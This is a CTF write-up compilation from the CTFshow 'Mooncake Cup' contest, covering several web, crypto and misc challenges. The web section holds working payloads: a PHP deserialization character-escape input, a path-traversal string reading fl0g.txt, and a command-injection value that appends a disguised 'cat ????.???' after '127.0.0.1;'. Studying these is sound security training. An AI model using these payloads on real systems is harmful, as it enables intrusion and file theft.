>
>
【月饼杯】月饼杯一血WP汇总
admin
比赛:CTFshow 月饼杯 平台:https://ctf.show
开始:2020/9/25 18:00
结束:2020/9/27 18:00
题目: web 杂项 密码 逆向 pwn 若干道
规则:
1 比赛期间可以随意讨论,wp须在比赛结束后发布,wp统一发布地址:https://wp.ctf.show
2 公平竞技,独立比赛
3 服务器不要爆破,不要攻击服务器,不要扫描!!!
4 奖品:rank最高的师傅发月饼!rank最高的师傅发月饼!rank最高的师傅发月饼!
- web部分
- crypto部分
- misc部分
- re部分
- pwn部分
admin
题目名称:web1_此夜圆
题目描述:一江春水何年尽,万古清光此夜圆
出题师傅:m3w
一血:Scarehehe
下载源码
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
源码结尾有unserialize
函数 看了看上面也有__wakeup()
方法 这题思路就是反序列化
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
filter
函数将GET传参中的Firebasky 替换为 Firebaskyup
这样就会造成反序列化字符逃逸
关于反序列化字符逃逸的一些知识点
先进行序列化 在进行正则过滤 在进行反序列化就会造成字符逃逸问题
<?php
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname="yu22x";
$password=1;
$ser=filter(serialize(new a($uname,$password)));
echo $ser;
?>
先进行正常反序列化 没有被正则过滤
结果:O:1:"a":2:{s:5:"uname";s:5:"yu22x";s:8:"password";i:1;}
下面修改uname
为Firebasky
$uname="Firebasky"
;
结果:
O:1:"a":2:{s:5:"uname";s:9:"Firebaskyup";s:8:"password";i:1;}
发现Firebaskyup长度为11 但是前面序列化的长度只有9
php在反序列化时 会在s:9后面继续寻找9个字符 如果符合反序列化规则
就进行反序列化
即 到s:9时 继续向后寻找9个字符:Firebasky
由于不符合反序列化规则(到达字符长度没有引号闭合) 所以就不进行反序列化
由于多出来了两个字符 我们可以利用这个来构造一个合适长度的Firebasky
来多出足够的字符 将";s:8:"password";s:5:"yu22x";}
写入
字符串 将 password=1
逃逸出去
构造payload:
1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
序列化结果:
O:1:"a":2:{s:5:"uname";s:165:"FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}
反序列化结果:
a Object ( [uname] => FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup
=> yu22x )
可以看出反序列化结果已经逃逸成功
admin
题目名称:web2_故人心
题目描述:三五夜中新月色,二千里外故人心
出题师傅:Firebasky
一血师傅:yu22x
绕过a
php小数点后超过161位做平方运算时会被截断,但是超过323位又会失效。
也就是 0.00000...1(小数点后161个0)到0.00000...1(小数点后322个0)会同时满足is_numric($a) and $a!=0 and $a**2==0
但是长度会受限制。那我们可以用科学计数法来代替,即 1e-162 到 1e-323
绕过b、c
类似于md5弱比较
为了满足$b==hash("md2", $b)
只要保证一个数前面加上0e之后再md2仍然是0e开头的数字即可,$c==hash("md2",hash("md2", $c)
类似。根据提示,发现可以少爆破很多位即可找到满足的数字。
<?php
for($i=0;$i<99999;$i++){
$x1=hash("md2", '0e'.$i.'024452');
if(substr($x1,0,2)==='0e' and is_numeric($x1)){
break;
}
}
for($j=0;$j<999999;$j++){
$x2=hash('md2',hash("md2", '0e'.$j.'48399'));
if(substr($x2,0,2)==='0e' and is_numeric($x2)){
break;
}
}
print('b=0e'.$i.'024452&c=0e'.$j.'48399');
?>
绕过url
php会将不认识的协议当作目录
payload:url=a://ctfshow.com/../../../../../fl0g.txt
对于payload a:为一个目录 ctfshow.com为1个目录
因为当前目录为/var/www/html,如果要跳到根目录需要向上跳3阶,再加上不存在的两个,共需要跳五阶目录
<?php
//1.php
print_r(file_get_contents($_POST[1]));
?>
在1.php同目录下有个a.txt
//a.txt
this is a.txt
假如我们输入 1=asdqweqw/../a.txt(其中asdqweqw为不存在的目录)会发现包含成功
当然,如果在shell环境中是不允许的
admin
题目名称:web3_莫负婵娟
题目描述:皎洁一年惟此夜,莫教容易负婵娟
出题师傅:yu22x
一血师傅:guoke
进入题目。看到登陆框。查看HTML源码。能知道后台sql语句
单引号斜杠啥的都被禁了。只能看语句了。这里用的是like。模糊匹配
给出了用户名。表示模糊匹配单个字符。添加N个。知道密码长度为32
然后’a’+31*’_’。写个脚本跑下。就能得到密码67815b0c009ee970fe4014abaa3Fa6A0
登陆后。感觉是个命令注入。curl IP
fuzz下发现。只能用大写字母和数字和部分符号
尝试curl外带环境变量
可以用${PWD:2:1}得到a字符。同理。外带PATH和HOME
拼凑出cat ????.???
EXP:
127.0.0.1; ${PATH:23:1}${PWD:2:1}${HOME:12:1} ????.???
admin
题目名称:crypto1_中秋月
题目描述:
此夜中秋月,清光十万家
自动钥匙⊕
明文全大写,得到后转小写,并以_连接单词。
格式:flag{xxx}。
Hint1: 某古典密码
Hint2: 经此古典密码加密后,密文还是大写
Hint3: 该古典密码的密钥形式:keyword+plaintext (+plaintext...+plaintext)
出题师傅:Lazzaro
一血师傅:阿狸
WP待补充
admin
题目名称:crypto2_月自圆
题目描述:Baby (Don't) Cry
世远人何在?天空月自圆。
出题师傅:Lazzaro
一血师傅:airrudder
源码文件Baby(Don't)Cry.py
:
# -*- coding:utf-8 -*-
#Author: Lazzaro
from itertools import *
from random import *
from string import *
def encrypt(m, a, si):
c=""
for i in range(len(m)):
c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2)
return c
if __name__ == "__main__":
m = '****************************************************flag{*************}'
assert(len(m)==71)
a = randint(50,100)
#随机产生四位大写字母
salt = ''.join(sample(ascii_uppercase, 4))
#迭代
si = cycle(salt.lower())
c=encrypt(m, a, si)
print(c)
#3472184e657e50561c481f5c1c4e1938163e154431015e13062c1b073d4e3a444f4a5c5c7a071919167b034e1c29566647600c4e1c2956661b6c1f50622f0016317e563546202a
明文长度为71位,加密后为142位。
这里由于a
不大,salt长度也不长,且明文m中存在flag
,正好可以用这几位去爆破出a
和salt
。
flag
在明文m中的位置是53
,对应密文c中的位置是105
。flag出现的位置正好对应salt的位置。
f ⇒ 1c
l ⇒ 29
a ⇒ 56
g ⇒ 66
写脚本爆出a、salt
:
from itertools import *
from random import *
from string import *
def encrypt(m, a, si):
c=""
for i in range(len(m)):
c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2)
return c
if __name__ == "__main__":
for i in range(50,100):
for j in ascii_uppercase:
si = cycle(j.lower())
# if encrypt('f', i, si)=='1c':
# print('i =',i,'\tj =',j)
if encrypt('l', i, si)=='29':
print('i =',i,'\tj =',j)
结果:
满足encrypt('f', i, si)=='1c'
的结果:
i = 52 j = D
i = 57 j = F
i = 62 j = H
i = 67 j = J
i = 72 j = L
i = 77 j = N
i = 82 j = P
i = 87 j = R
i = 92 j = T
i = 97 j = V
满足encrypt('l', i, si)=='29'
的结果:
i = 54 j = A
i = 55 j = U
i = 61 j = M
i = 67 j = E
i = 68 j = Y
i = 74 j = Q
i = 80 j = I
i = 86 j = A
i = 87 j = U
i = 93 j = M
i = 99 j = E
相同的i只有67,说明随机数a=67
。
然后拿着a去继续爆salt的后两位
if encrypt('a', 67, si)=='56':
print('j =',j)
if encrypt('g', 67, si)=='66':
print('j =',j)
最终得出salt='JESQ'
。
知道了随机出a和salt,这道题就出来了
from itertools import *
from random import *
from string import *
def encrypt(m, a, si):
c=""
for i in range(len(m)):
c+=hex(((ord(m[i])) * a + ord(si)) % 128)[2:].zfill(2)
return c
if __name__ == "__main__":
salt = 'JESQ'
si = cycle(salt.lower())
c = '3472184e657e50561c481f5c1c4e1938163e154431015e13062c1b073d4e3a444f4a5c5c7a071919167b034e1c29566647600c4e1c2956661b6c1f50622f0016317e563546202a'
res = ''
for i in range(0,len(c),2):
ssi = next(si)
for j in range(32,127):
if encrypt(chr(j),67,ssi)==c[i]+c[i+1]:
res += chr(j)
print(res)
得到最终结果:
now_is_7fad9fcb-d361-4964-821c-177c906b8d20_flag_is_flag{md5(now-salt)}
7fad9fcb-d361-4964-821c-177c906b8d20-JESQ
经md5加密后为1efce62ee0a96e39149e2179db1dd04c
最终flag:flag{1efce62ee0a96e39149e2179db1dd04c}
。
Lazzaro
https://lazzzaro.github.io/2020/09/26/match-CTFshow-月饼杯/
imlee
题目名称:misc3_人生由命
题目描述:虚幻3:法海把网鼎杯“虚幻2”题目的出题人打死了,兄弟萌快替出题人报仇呀
一年明月今宵多,人生由命非由他
出题师傅:imlee
一血师傅:无
解题步骤
首先是RAR的伪加密,需要用到010editor的模板修改一个bit
解压得到flag.png,高度为600*600
但是有CRC32的错误,高度出现了问题,爆破一下,实际尺寸为600*604
修改后发现下面有4行杂乱像素
由图片中的这行汉字 以及 题目说明中说到的虚幻2(虚幻2就是个分析像素转为二维码的题,那个题是rgb的byte值为255转为二维码的黑块)
联想到这4行像素 其实就是个二维码(需要凑正方形)
由于每个坐标的像素rgb是由24位bit组成,所以4*600*24 = 240*240
(本题是rgb的bit为1转为二维码的白块,0转为二维码的黑块)
最后得到一个240*240大小的二维码
扫码可得flag
脚本如下
from PIL import Image
im = Image.open('flag.png')
binary = ''
for i in range(600,604):
for j in range(600):
r = im.getpixel((j,i))[0]
g = im.getpixel((j,i))[1]
b = im.getpixel((j,i))[2]
binary += bin(r)[2:].zfill(8) + bin(g)[2:].zfill(8) + bin(b)[2:].zfill(8)
w = int(len(binary)**0.5)
h = int(len(binary)**0.5)
print(w)
print(h)
flag_pic = Image.new("RGB",(w,h))
index = 0
for height in range(h):
for width in range(w):
if (binary[index] == '1'):
flag_pic.putpixel((width,height),(255,255,255))
else:
flag_pic.putpixel((width,height),(0,0,0))
index += 1
flag_pic.show()
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论